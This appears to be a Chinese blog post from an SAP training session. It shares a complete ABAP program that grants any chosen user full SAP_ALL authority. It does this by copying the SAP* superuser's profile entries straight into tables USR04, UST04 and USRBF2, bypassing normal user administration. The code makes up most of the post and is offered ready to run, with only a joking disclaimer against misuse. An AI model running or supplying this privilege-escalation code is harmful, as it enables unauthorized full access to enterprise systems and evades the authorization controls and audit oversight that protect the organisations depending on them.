昨天我们在
上海SAP培训的时候,讲到了SAP的权限机制,在了解了SAP的机制后,顺便讲了一下SAP的BUG,然后给大家介绍了一个程序,运行这个程序后,指定的SAP用户就有了SAP所有的权限,我们通SU01进行了验证,在SU01里新建了一个用户TEST。刚建好,此用户什么权限也没有,什么画面也不能执行,运行这个程序后,此用户就有了所有SAP权限,给大家分享一下此程序。
REPORT ZABAP_USER.
data: l_USR04 LIKE USR04 ,
l_UST04 LIKE UST04 OCCURS 0 WITH HEADER LINE,
l_PROFS LIKE USR04-PROFS,
l_USRBF2 like USRBF2 occurs 0 with header line,
l_userid like usr01-bname.
TABLES : usr01.
SELECT-OPTIONS: p_user FOR USR01-BNAME .
START-OF-SELECTION.
select single * into l_USR04 from USR04
where BNAME in p_user.
* move 'C SAP_ALL' to l_PROFS .
l_USR04-BNAME = p_user-low.
* l_USR04-PROFS = l_PROFS.
select single NRPRO PROFS from USR04
into (l_USR04-NRPRO,l_USR04-PROFS)
WHERE bname = 'SAP*'.
modify USR04 from l_USR04 .
l_userid = l_USR04-BNAME.
SELECT * from UST04 into TABLE l_ust04
where bname = 'SAP*'.
LOOP AT l_ust04.
l_UST04-BNAME = p_user-low.
Modify l_UST04 INDEX sy-tabix TRANSPORTING BNAME.
ENDLOOP.
modify UST04 from l_UST04.
* select single * into l_UST04 from UST04
* where BNAME in p_user.
* l_UST04-PROFILE = 'SAP_ALL'.
* Update UST04 from l_UST04 .
select * from USRBF2 into table l_USRBF2
where BNAME = 'SAP*' .
Loop at l_USRBF2.
l_USRBF2-BNAME = l_userid.
Modify l_USRBF2 INDEX sy-tabix TRANSPORTING BNAME.
endloop.
modify USRBF2 FROM TABLE l_USRBF2 .
在运行的画面只要输入你要运行的用户ID,然后点执行就可以了。呵呵,大家知道有这个方法就行了,千万不能在项目里乱使用,用了后出了问题,本站不负责哦。